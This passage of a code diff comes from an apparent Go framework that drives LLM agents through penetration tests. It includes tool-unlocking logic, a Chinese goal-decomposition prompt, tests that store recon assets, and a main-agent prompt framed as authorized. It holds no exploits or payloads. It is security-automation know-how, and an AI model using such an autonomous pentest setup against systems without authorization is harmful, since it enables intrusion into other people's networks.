// (自定义 agent 各自一份;留空/0 用通用默认:5 轮)。
|
||||
Settlement: wrapupSettlement(agentKey, nil),
|
||||
}
|
||||
if c.guard != nil {
|
||||
opts.Hooks = c.guard.Hooks()
|
||||
}
|
||||
if c.tx != nil { // persist raw human↔AI conversation; one accumulating file per thread
|
||||
opts.Transcript = c.tx
|
||||
opts.SessionID = sessionID
|
||||
}
|
||||
s := agentcore.NewSession(opts)
|
||||
defer s.Close()
|
||||
// reload prior conversation so the agent has context across turns (each Chat is
|
||||
// a fresh session). First turn: no file yet → Resume loads nothing and proceeds.
|
||||
if c.tx != nil {
|
||||
_ = s.Resume(sessionID)
|
||||
}
|
||||
// re-unlock skill-gated MCPs from prior Skill() calls in the reloaded history so
|
||||
// revealed tools stay callable across the fresh session.
|
||||
seedUnlockFromHistory(s.Messages(), def.UnlockSkill)
|
||||
text, _, err := captureRunSession(ctx, s, message, func(r db.Activity) {
|
||||
if emit != nil {
|
||||
r.Worker = agentKey
|
||||
emit(r)
|
||||
}
|
||||
})
|
||||
return text, err
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
// deferredSystem builds an agent's system-prompt segments and cache boundary from
|
||||
// its DeferredInfo. When globally-available MCP tools are present, their names + a
|
||||
// "prefer core tools" instruction render into a <available-deferred-tools> block
|
||||
// placed as the LAST system-prompt segment, with DynamicBoundary set so the whole
|
||||
// (session-fixed) system prompt — including the block — is cached (design doc
|
||||
// §2.1 / C1). Skill-gated MCP names are NOT in this block; they surface when their
|
||||
// skill loads. Returns a single plain segment + boundary 0 when there is no global
|
||||
// block to add.
|
||||
func deferredSystem(sysText string, def DeferredInfo) (system []string, boundary int) {
|
||||
block := actool.RenderDeferredToolsBlock(def.GlobalNames)
|
||||
if block == "" {
|
||||
return []string{sysText}, 0
|
||||
}
|
||||
system = []string{sysText, block}
|
||||
boundary = len(system) // b >= len → whole system prompt cached (SDK guard)
|
||||
return system, boundary
|
||||
}
|
||||
|
||||
// seedUnlockFromHistory replays prior Skill() invocations in the conversation so
|
||||
// their skill-gated MCPs are re-unlocked on a resumed session (design doc C2). The
|
||||
// main agent builds a fresh session each turn; its in-memory unlock set would
|
||||
// otherwise reset, leaving the model able to see a skill-revealed tool name yet
|
||||
// unable to call it. No-op when unlockSkill is nil (no deferred tools).
|
||||
func seedUnlockFromHistory(msgs []llm.Message, unlockSkill func(string)) {
|
||||
if unlockSkill == nil {
|
||||
return
|
||||
}
|
||||
for _, m := range msgs {
|
||||
for _, b := range m.ToolUses() {
|
||||
if b.Name != "Skill" {
|
||||
continue
|
||||
}
|
||||
var in struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if json.Unmarshal(b.Input, &in) == nil && in.Name != "" {
|
||||
unlockSkill(in.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
func TestDeferredSystem_NoGlobal(t *testing.T) {
|
||||
// No global MCP names → plain single-segment system, no cache boundary.
|
||||
sys, boundary := deferredSystem("SYS", DeferredInfo{})
|
||||
if len(sys) != 1 || sys[0] != "SYS" || boundary != 0 {
|
||||
t.Fatalf("expected [SYS],0 — got %v,%d", sys, boundary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeferredSystem_WithGlobal(t *testing.T) {
|
||||
def := DeferredInfo{
|
||||
Deferred: []string{"mcp__browser__navigate", "mcp__browser__click"},
|
||||
GlobalNames: []string{"mcp__browser__navigate", "mcp__browser__click"},
|
||||
}
|
||||
sys, boundary := deferredSystem("SYS", def)
|
||||
if len(sys) != 2 || sys[0] != "SYS" {
|
||||
t.Fatalf("expected [SYS, block], got %v", sys)
|
||||
}
|
||||
if !strings.Contains(sys[1], "<available-deferred-tools>") ||
|
||||
!strings.Contains(sys[1], "mcp__browser__navigate") {
|
||||
t.Fatalf("block missing names:\n%s", sys[1])
|
||||
}
|
||||
if boundary != len(sys) {
|
||||
t.Fatalf("boundary=%d want %d (whole prompt cached)", boundary, len(sys))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeferredSystem_GatedNotInBlock(t *testing.T) {
|
||||
// A skill-gated server's tools are deferred but NOT in the global block.
|
||||
def := DeferredInfo{
|
||||
Deferred: []string{"mcp__browser__navigate", "mcp__secret__do"},
|
||||
GlobalNames: []string{"mcp__browser__navigate"}, // secret gated → excluded
|
||||
}
|
||||
sys, _ := deferredSystem("SYS", def)
|
||||
if strings.Contains(sys[1], "mcp__secret__do") {
|
||||
t.Fatalf("gated tool must not appear in global block:\n%s", sys[1])
|
||||
}
|
||||
if !strings.Contains(sys[1], "mcp__browser__navigate") {
|
||||
t.Fatal("global tool should appear in block")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSeedUnlockFromHistory(t *testing.T) {
|
||||
skillCall := func(name string) llm.ContentBlock {
|
||||
return llm.ContentBlock{Type: llm.BlockToolUse, Name: "Skill", Input: json.RawMessage(`{"name":"` + name + `"}`)}
|
||||
}
|
||||
msgs := []llm.Message{
|
||||
{Role: llm.RoleAssistant, Content: []llm.ContentBlock{skillCall("browsing")}},
|
||||
{Role: llm.RoleAssistant, Content: []llm.ContentBlock{
|
||||
{Type: llm.BlockToolUse, Name: "Bash", Input: json.RawMessage(`{}`)}, // ignored
|
||||
skillCall("recon"),
|
||||
}},
|
||||
}
|
||||
var got []string
|
||||
seedUnlockFromHistory(msgs, func(name string) { got = append(got, name) })
|
||||
if strings.Join(got, ",") != "browsing,recon" {
|
||||
t.Fatalf("unlocked=%v want [browsing recon]", got)
|
||||
}
|
||||
seedUnlockFromHistory(msgs, nil) // nil → no-op, no panic
|
||||
}
|
||||
|
||||
// TestUnlockGatingFlow mirrors what OnInvoke / seedUnlockFromHistory do: a gated
|
||||
// tool starts locked and becomes callable only after its skill unlocks it.
|
||||
func TestUnlockGatingFlow(t *testing.T) {
|
||||
serverTools := map[string][]string{"secret": {"mcp__secret__do"}}
|
||||
unlock := actool.NewUnlockSet("mcp__browser__navigate") // global only
|
||||
unlockSkill := func(name string) {
|
||||
if name == "unlock-secret" {
|
||||
unlock.Add(serverTools["secret"]...)
|
||||
}
|
||||
}
|
||||
if unlock.Has("mcp__secret__do") {
|
||||
t.Fatal("gated tool should start locked")
|
||||
}
|
||||
unlockSkill("unlock-secret")
|
||||
if !unlock.Has("mcp__secret__do") {
|
||||
t.Fatal("gated tool should be unlocked after skill load")
|
||||
}
|
||||
}
|
||||
+106
@@ -0,0 +1,106 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
acperm "github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// goalsDefaultTmpl is the built-in EDITABLE body (段 [A]) of the goals-decomposer
|
||||
// prompt, seeded into agent_prompts. No template vars are used today.
|
||||
const goalsDefaultTmpl = `你是渗透测试目标分解器。你的职责是从用户输入中识别出**最终要达成的结果**，而不是规划攻击步骤。
|
||||
|
||||
**目标 = 最终可交付/可核验的结果**
|
||||
|
||||
**不是目标的内容（禁止列为子目标）**：
|
||||
- 信息收集、侦察、端点扫描
|
||||
- 漏洞分析与验证过程
|
||||
- 攻击步骤、利用手段
|
||||
- 结果验证步骤
|
||||
|
||||
**拆分原则**：
|
||||
- 用户描述的最终目标只有一个 → 输出一个
|
||||
- 存在多个**相互独立**的最终交付物 → 分别列出
|
||||
- 能对应明确漏洞类的标注 vulnclass；信息收集/业务逻辑类目标留空
|
||||
- 严禁臆造用户未提及的目标
|
||||
|
||||
调用 set_goals 提交结果。`
|
||||
|
||||
// GoalSpec is one decomposed objective.
|
||||
type GoalSpec struct {
|
||||
Text string `json:"text"`
|
||||
VulnClass string `json:"vulnclass,omitempty"`
|
||||
}
|
||||
|
||||
// DecomposeGoals asks the LLM to break a pentest task goal into discrete,
|
||||
// independently-verifiable objectives (each becomes a goal node). Returns nil if
|
||||
// no provider is configured or the call yields nothing — the caller then falls
|
||||
// back to a rule-based split so goal nodes always exist.
|
||||
//
|
||||
// desc is the task's free-text description (背景：靶标范围/flag 数量/交战说明等).
|
||||
// It is fed alongside the goal so the decomposer no longer splits blind — the
|
||||
// prompt still forbids inventing anything the two texts don't state.
|
||||
//
|
||||
// emit, when non-nil, receives every LLM step (thinking/tool_use/result) with
|
||||
// Worker="planner" so the round-0 goal-decomposition activity is visible in the UI.
|
||||
func DecomposeGoals(ctx context.Context, c Config, goalText, desc string, emit func(db.Activity)) []GoalSpec {
|
||||
prov, err := c.NewProvider()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var out struct {
|
||||
Goals []GoalSpec `json:"goals"`
|
||||
}
|
||||
captured := false
|
||||
submitTool := actool.Build(actool.Spec{
|
||||
Name: "set_goals",
|
||||
Description: "提交拆分后的目标列表。",
|
||||
Schema: map[string]any{"type": "object", "properties": map[string]any{
|
||||
"goals": map[string]any{"type": "array", "items": map[string]any{
|
||||
"type": "object", "properties": map[string]any{
|
||||
"text": map[string]any{"type": "string", "description": "一个独立可验证的目标"},
|
||||
"vulnclass": map[string]any{"type": "string", "description": "对应漏洞类(若明确)，如 SQLi/IDOR；业务逻辑目标可留空"},
|
||||
}, "required": []string{"text"},
|
||||
}},
|
||||
}, "required": []string{"goals"}},
|
||||
Permissions: func(context.Context, json.RawMessage, acperm.Context) acperm.Decision { return acperm.Allowed() },
|
||||
Run: func(_ context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||
_ = json.Unmarshal(in, &out)
|
||||
captured = true
|
||||
return actool.Text("ok"), nil
|
||||
},
|
||||
})
|
||||
// Description rides in the user message (same channel as the goal), NOT via the
|
||||
// {{.EngagementDescription}} template var — else a prompt that references the var
|
||||
// would inject the description twice. System prompt stays pure static instructions.
|
||||
sys := renderSystem("goals", goalsDefaultTmpl, GoalsVars{})
|
||||
userMsg := "任务目标：\n" + goalText
|
||||
if d := strings.TrimSpace(desc); d != "" {
|
||||
userMsg += "\n\n任务描述（背景信息，可能含靶标范围/flag 数量/交战说明；仅供参考，不要臆造其中未提及的内容）：\n" + d
|
||||
}
|
||||
// Use captureRun so every LLM step is emitted as an activity record (visible in
|
||||
// the plan tab under the round-0 marker). Falls back gracefully when emit is nil.
|
||||
captureEmit := func(r db.Activity) {
|
||||
if emit != nil {
|
||||
r.Worker = "planner"
|
||||
emit(r)
|
||||
}
|
||||
}
|
||||
captureRun(ctx, agentcore.Options{
|
||||
Provider: prov,
|
||||
SystemPrompt: []string{sys},
|
||||
Tools: []actool.CoreTool{submitTool},
|
||||
PermissionMode: acperm.ModeBypass,
|
||||
DisableBackgroundTasks: true,
|
||||
MaxTurns: 4,
|
||||
}, userMsg, captureEmit)
|
||||
if !captured {
|
||||
return nil
|
||||
}
|
||||
return out.Goals
|
||||
}
|
||||
@@ -0,0 +1,396 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// testDB opens a DB connection, skipping if PG is unavailable.
|
||||
func testDB(t *testing.T) *db.DB {
|
||||
t.Helper()
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
t.Skipf("no database config (%v)", err)
|
||||
}
|
||||
d, err := db.Open(dsn)
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// callInsertAssets calls the insert_assets tool with the given payload.
|
||||
func callInsertAssets(t *testing.T, ts *ToolSet, payload any) map[string]any {
|
||||
t.Helper()
|
||||
raw, _ := json.Marshal(payload)
|
||||
tool := ts.insertAssets()
|
||||
res, err := tool.Call(context.Background(), raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("insertAssets Call error: %v", err)
|
||||
}
|
||||
text := res.Flatten()
|
||||
var out map[string]any
|
||||
if err := json.Unmarshal([]byte(text), &out); err != nil {
|
||||
t.Fatalf("unmarshal result: %v\nraw: %s", err, text)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsSubdomainSideEffects
|
||||
// 子域名插入 → 自动创建 root_domain + IP 资产，IP 绑定域名
|
||||
// =====================================================================
|
||||
func TestInsertAssetsSubdomainSideEffects(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE domain IN ('ia-sub.sideeffect-test.com','sideeffect-test.com') OR ip='7.8.9.10'`)
|
||||
|
||||
out := callInsertAssets(t, ts, map[string]any{
|
||||
"assets": []any{
|
||||
map[string]any{
|
||||
"type": "subdomain",
|
||||
"domain": "ia-sub.sideeffect-test.com",
|
||||
"record_type": "A",
|
||||
"record_value": []string{"7.8.9.10"},
|
||||
},
|
||||
},
|
||||
"task_id": 999,
|
||||
})
|
||||
|
||||
// no errors
|
||||
if errs, _ := out["errors"].([]any); len(errs) > 0 {
|
||||
t.Errorf("unexpected errors: %v", errs)
|
||||
}
|
||||
results, _ := out["results"].([]any)
|
||||
if len(results) == 0 {
|
||||
t.Fatal("no results returned")
|
||||
}
|
||||
|
||||
// root_domain should exist
|
||||
var rootCnt int
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type='root_domain' AND domain='sideeffect-test.com'`).Scan(&rootCnt)
|
||||
if rootCnt != 1 {
|
||||
t.Errorf("side-effect: root_domain not created, got %d", rootCnt)
|
||||
}
|
||||
|
||||
// IP asset should exist with bound_domains containing our subdomain
|
||||
var ipID int64
|
||||
var boundDomains []byte
|
||||
d.QueryRow(`SELECT id, array_to_json(bound_domains)::text FROM assets WHERE type='ip' AND ip='7.8.9.10'`).Scan(&ipID, &boundDomains)
|
||||
if ipID == 0 {
|
||||
t.Error("side-effect: IP asset not created")
|
||||
}
|
||||
var domains []string
|
||||
json.Unmarshal(boundDomains, &domains)
|
||||
found := false
|
||||
for _, d := range domains {
|
||||
if d == "ia-sub.sideeffect-test.com" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("side-effect: bound_domains should contain subdomain, got %v", domains)
|
||||
}
|
||||
|
||||
// record_value stored as array
|
||||
var rvRaw []byte
|
||||
d.QueryRow(`SELECT array_to_json(record_value)::text FROM assets WHERE type='subdomain' AND domain='ia-sub.sideeffect-test.com'`).Scan(&rvRaw)
|
||||
var rv []string
|
||||
json.Unmarshal(rvRaw, &rv)
|
||||
if len(rv) == 0 || rv[0] != "7.8.9.10" {
|
||||
t.Errorf("record_value stored incorrectly: %v", rv)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsMultiIPSubdomain
|
||||
// 多个 IP 的子域名：所有 IP 都应存入 record_value[]，各自创建 IP 资产
|
||||
// =====================================================================
|
||||
func TestInsertAssetsMultiIPSubdomain(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE domain IN ('multi.multiip-test.io','multiip-test.io') OR ip IN ('1.1.1.1','2.2.2.2')`)
|
||||
|
||||
out := callInsertAssets(t, ts, map[string]any{
|
||||
"assets": []any{
|
||||
map[string]any{
|
||||
"type": "subdomain",
|
||||
"domain": "multi.multiip-test.io",
|
||||
"record_type": "A",
|
||||
"record_value": []string{"1.1.1.1", "2.2.2.2"},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if errs, _ := out["errors"].([]any); len(errs) > 0 {
|
||||
t.Errorf("unexpected errors: %v", errs)
|
||||
}
|
||||
|
||||
// Both IPs should have IP assets
|
||||
var ip1Cnt, ip2Cnt int
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type='ip' AND ip='1.1.1.1'`).Scan(&ip1Cnt)
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type='ip' AND ip='2.2.2.2'`).Scan(&ip2Cnt)
|
||||
if ip1Cnt != 1 {
|
||||
t.Error("IP 1.1.1.1 asset not created")
|
||||
}
|
||||
if ip2Cnt != 1 {
|
||||
t.Error("IP 2.2.2.2 asset not created")
|
||||
}
|
||||
|
||||
// record_value should contain both IPs
|
||||
var rvRaw []byte
|
||||
d.QueryRow(`SELECT array_to_json(record_value)::text FROM assets WHERE type='subdomain' AND domain='multi.multiip-test.io'`).Scan(&rvRaw)
|
||||
var rv []string
|
||||
json.Unmarshal(rvRaw, &rv)
|
||||
if len(rv) != 2 {
|
||||
t.Errorf("record_value: want 2 IPs, got %v", rv)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsHTTPServiceTechnologies
|
||||
// HTTP 服务插入：technologies 存储并可读回；IP 存在时域名和端口写入 IP 资产
|
||||
// =====================================================================
|
||||
func TestInsertAssetsHTTPServiceTechnologies(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE url='https://tech-test.example.com' OR domain IN ('tech-test.example.com','example.com') OR ip='3.4.5.6'`)
|
||||
|
||||
out := callInsertAssets(t, ts, map[string]any{
|
||||
"assets": []any{
|
||||
map[string]any{
|
||||
"type": "service",
|
||||
"url": "https://tech-test.example.com",
|
||||
"service_ip": "3.4.5.6",
|
||||
"technologies": []string{"Nginx", "Vue.js", "Cloudflare"},
|
||||
"status_code": 200,
|
||||
"page_title": "Tech Test Site",
|
||||
},
|
||||
},
|
||||
"task_id": 888,
|
||||
})
|
||||
|
||||
if errs, _ := out["errors"].([]any); len(errs) > 0 {
|
||||
t.Errorf("unexpected errors: %v", errs)
|
||||
}
|
||||
|
||||
// technologies should be stored
|
||||
var techCnt int
|
||||
d.QueryRow(`SELECT array_length(technologies,1) FROM assets WHERE url='https://tech-test.example.com'`).Scan(&techCnt)
|
||||
if techCnt != 3 {
|
||||
t.Errorf("technologies: want 3, got %d", techCnt)
|
||||
}
|
||||
|
||||
// QueryByType should return technologies correctly (verifies array_to_json scan)
|
||||
assets, err := d.Assets().QueryByType("service", 50, 0)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var found *db.Asset
|
||||
for _, a := range assets {
|
||||
if a.URL == "https://tech-test.example.com" {
|
||||
found = a
|
||||
break
|
||||
}
|
||||
}
|
||||
if found == nil {
|
||||
t.Fatal("service not found via QueryByType")
|
||||
}
|
||||
if len(found.Technologies) != 3 {
|
||||
t.Errorf("QueryByType: technologies roundtrip failed, got %v", found.Technologies)
|
||||
}
|
||||
|
||||
// side effect: IP asset should exist with bound_domains containing the service domain
|
||||
var ipID int64
|
||||
var bdRaw []byte
|
||||
var portCnt int
|
||||
d.QueryRow(`SELECT id, array_to_json(bound_domains)::text FROM assets WHERE type='ip' AND ip='3.4.5.6'`).Scan(&ipID, &bdRaw)
|
||||
if ipID == 0 {
|
||||
t.Error("side-effect: IP asset not created for HTTP service IP")
|
||||
}
|
||||
var bd []string
|
||||
json.Unmarshal(bdRaw, &bd)
|
||||
hasDomain := false
|
||||
for _, dom := range bd {
|
||||
if dom == "tech-test.example.com" {
|
||||
hasDomain = true
|
||||
}
|
||||
}
|
||||
if !hasDomain {
|
||||
t.Errorf("side-effect: IP bound_domains missing service domain, got %v", bd)
|
||||
}
|
||||
|
||||
// side effect: IP open_ports should contain port 443
|
||||
d.QueryRow(`SELECT cardinality(open_ports) FROM assets WHERE type='ip' AND ip='3.4.5.6'`).Scan(&portCnt)
|
||||
if portCnt == 0 {
|
||||
t.Error("side-effect: IP open_ports not set for HTTP service")
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsOtherService
|
||||
// 非 HTTP 服务：c_segment 自动生成，IP 资产含 open_ports 和 bound_domains
|
||||
// =====================================================================
|
||||
func TestInsertAssetsOtherService(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE
|
||||
(type='service' AND ip='10.20.30.40') OR
|
||||
(type='ip' AND ip='10.20.30.40') OR
|
||||
domain IN ('db.othersvc-test.com','othersvc-test.com')`)
|
||||
|
||||
out := callInsertAssets(t, ts, map[string]any{
|
||||
"assets": []any{
|
||||
map[string]any{
|
||||
"type": "service",
|
||||
"ip": "10.20.30.40",
|
||||
"domain": "db.othersvc-test.com",
|
||||
"port": 3306,
|
||||
"service_name": "mysql",
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if errs, _ := out["errors"].([]any); len(errs) > 0 {
|
||||
t.Errorf("unexpected errors: %v", errs)
|
||||
}
|
||||
|
||||
// c_segment should be auto-set on the service
|
||||
var cseg *string
|
||||
d.QueryRow(`SELECT c_segment::text FROM assets WHERE type='service' AND ip='10.20.30.40'`).Scan(&cseg)
|
||||
if cseg == nil || *cseg != "10.20.30.0/24" {
|
||||
t.Errorf("c_segment: want 10.20.30.0/24, got %v", cseg)
|
||||
}
|
||||
|
||||
// IP side-effect: port 3306 in open_ports
|
||||
var portCnt int
|
||||
d.QueryRow(`SELECT cardinality(open_ports) FROM assets WHERE type='ip' AND ip='10.20.30.40'`).Scan(&portCnt)
|
||||
if portCnt == 0 {
|
||||
t.Error("side-effect: IP open_ports should contain port 3306")
|
||||
}
|
||||
|
||||
// IP side-effect: bound_domains contains the service domain
|
||||
var bdRaw []byte
|
||||
d.QueryRow(`SELECT array_to_json(bound_domains)::text FROM assets WHERE type='ip' AND ip='10.20.30.40'`).Scan(&bdRaw)
|
||||
var bd []string
|
||||
json.Unmarshal(bdRaw, &bd)
|
||||
hasDomain := false
|
||||
for _, dom := range bd {
|
||||
if dom == "db.othersvc-test.com" {
|
||||
hasDomain = true
|
||||
}
|
||||
}
|
||||
if !hasDomain {
|
||||
t.Errorf("side-effect: IP bound_domains missing service domain, got %v", bd)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsMixedBatch
|
||||
// 混合批量插入：一次调用插入多种类型
|
||||
// =====================================================================
|
||||
func TestInsertAssetsMixedBatch(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE
|
||||
domain IN ('batch-sub.batch-test.org','batch-test.org') OR
|
||||
ip='55.66.77.88' OR
|
||||
url='https://batch-test.org/api' OR
|
||||
(type='endpoint' AND url='https://batch-test.org/api/users')`)
|
||||
|
||||
out := callInsertAssets(t, ts, map[string]any{
|
||||
"assets": []any{
|
||||
// root_domain
|
||||
map[string]any{"type": "root_domain", "domain": "batch-test.org"},
|
||||
// subdomain with A record
|
||||
map[string]any{"type": "subdomain", "domain": "batch-sub.batch-test.org", "record_type": "A", "record_value": []string{"55.66.77.88"}},
|
||||
// HTTP service
|
||||
map[string]any{"type": "service", "url": "https://batch-test.org/api", "technologies": []string{"Go", "PostgreSQL"}, "status_code": 200},
|
||||
// endpoint
|
||||
map[string]any{"type": "endpoint", "url": "https://batch-test.org/api/users", "method": "GET"},
|
||||
},
|
||||
"task_id": 777,
|
||||
})
|
||||
|
||||
if errs, _ := out["errors"].([]any); len(errs) > 0 {
|
||||
t.Errorf("unexpected errors: %v", errs)
|
||||
}
|
||||
results, _ := out["results"].([]any)
|
||||
if len(results) != 4 {
|
||||
t.Errorf("mixed batch: want 4 results, got %d", len(results))
|
||||
}
|
||||
|
||||
// verify all types exist in DB
|
||||
types := []string{"root_domain", "subdomain", "service", "endpoint"}
|
||||
for _, typ := range types {
|
||||
var cnt int
|
||||
switch typ {
|
||||
case "root_domain":
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type=$1 AND domain='batch-test.org'`, typ).Scan(&cnt)
|
||||
case "subdomain":
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type=$1 AND domain='batch-sub.batch-test.org'`, typ).Scan(&cnt)
|
||||
case "service":
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type=$1 AND url='https://batch-test.org/api'`, typ).Scan(&cnt)
|
||||
case "endpoint":
|
||||
d.QueryRow(`SELECT COUNT(*) FROM assets WHERE type=$1 AND url='https://batch-test.org/api/users'`, typ).Scan(&cnt)
|
||||
}
|
||||
if cnt != 1 {
|
||||
t.Errorf("mixed batch: %s not found in DB", typ)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// TestInsertAssetsDedup
|
||||
// 幂等写入：同一资产插入两次，返回相同 ID
|
||||
// =====================================================================
|
||||
func TestInsertAssetsDedup(t *testing.T) {
|
||||
d := testDB(t)
|
||||
defer d.Close()
|
||||
|
||||
ts := NewToolSet(nil, "")
|
||||
ts.SetAssetStore(d.Assets(), d.Companies())
|
||||
defer d.Exec(`DELETE FROM assets WHERE domain='dedup-ia.deduptest.net' OR domain='deduptest.net'`)
|
||||
|
||||
payload := map[string]any{
|
||||
"assets": []any{
|
||||
map[string]any{"type": "root_domain", "domain": "deduptest.net"},
|
||||
},
|
||||
}
|
||||
|
||||
out1 := callInsertAssets(t, ts, payload)
|
||||
out2 := callInsertAssets(t, ts, payload)
|
||||
|
||||
getID := func(out map[string]any) float64 {
|
||||
results, _ := out["results"].([]any)
|
||||
if len(results) == 0 {
|
||||
return 0
|
||||
}
|
||||
m, _ := results[0].(map[string]any)
|
||||
id, _ := m["id"].(float64)
|
||||
return id
|
||||
}
|
||||
|
||||
id1, id2 := getID(out1), getID(out2)
|
||||
if id1 == 0 || id1 != id2 {
|
||||
t.Errorf("dedup: want same ID on double insert, got %v vs %v", id1, id2)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/norma/transcript"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// MainAgent is the thin human-interface orchestrator (docs §4.2 / §7). The human
|
||||
// chats with it; it observes (read tools), and steers by injecting hints
|
||||
// (→planner) or direct high-priority intents (→frontier). It does NOT run the
|
||||
// autonomous intent-generation loop (that is the planner's job).
|
||||
type MainAgent struct {
|
||||
prov llm.Provider
|
||||
model string
|
||||
tx *transcript.Store // raw LLM conversation persistence (nil = off)
|
||||
window int // context window in tokens (for compaction)
|
||||
maxTurns int // max agent turns per run (0 = unlimited)
|
||||
proxyAddr string // recording proxy for WebFetch (empty = direct)
|
||||
proxyCACert string // recording proxy's CA cert path (HTTPS verify)
|
||||
webSearch WebSearchOpts // web_search tool backend selection (off by default)
|
||||
workDir string // shared work dir (surfaced in prompt as artifact-output target)
|
||||
}
|
||||
|
||||
func NewMainAgent(prov llm.Provider, model, workDir string, tx *transcript.Store, window, maxTurns int) *MainAgent {
|
||||
return &MainAgent{prov: prov, model: model, workDir: workDir, tx: tx, window: window, maxTurns: maxTurns}
|
||||
}
|
||||
|
||||
// SetProxy points the main agent's WebFetch at the recording proxy plus the CA
|
||||
// cert it trusts to verify HTTPS through it (empty addr = direct).
|
||||
func (m *MainAgent) SetProxy(addr, caCert string) { m.proxyAddr, m.proxyCACert = addr, caCert }
|
||||
|
||||
// SetWebSearch selects the web_search backend for the main agent (off by default).
|
||||
func (m *MainAgent) SetWebSearch(o WebSearchOpts) { m.webSearch = o }
|
||||
|
||||
// mainAgentDefaultTmpl is the built-in EDITABLE body (段 [A]) of the main agent
|
||||
// prompt, seeded into agent_prompts. Goal is a {{.Goal}} template var; the 中间
|
||||
// 产物输出规约 tail is code-owned (artifactSpec), appended after rendering.
|
||||
const mainAgentDefaultTmpl = `你是一个授权渗透测试系统的"主 agent"，是人类操作员的接口。你不亲自探索、也不自主连续生成意图（那是规划者的工作）。你的职责：
|
||||
|
||||
1. 观察：用 graph_overview / list_findings / list_facts / list_assets / get_worker_output 回答人关于当前进展的问题。
|
||||
2. 操舵（把人的意图落到系统）：
|
||||
- 人想"改方向/强调某类漏洞/重点某区域" → 用 add_hint 写提示（规划者下次会读到）。
|
||||
- 人想"立刻测某个具体目标" → 用 add_intent 直接注入一条高优先级意图（priority 8-10）。
|
||||
3. 用人话简洁回复，说明你做了什么。
|
||||
|
||||
当前任务目标：{{.Goal}}
|
||||
|
||||
不要编造发现；只根据工具返回的真实数据回答。`
|
||||
|
||||
func mainAgentSystem(goal, workDir string) string {
|
||||
body := renderSystem("mainagent", mainAgentDefaultTmpl, MainVars{Goal: goal})
|
||||
return body + artifactSpec(workDir)
|
||||
}
|
||||
|
||||
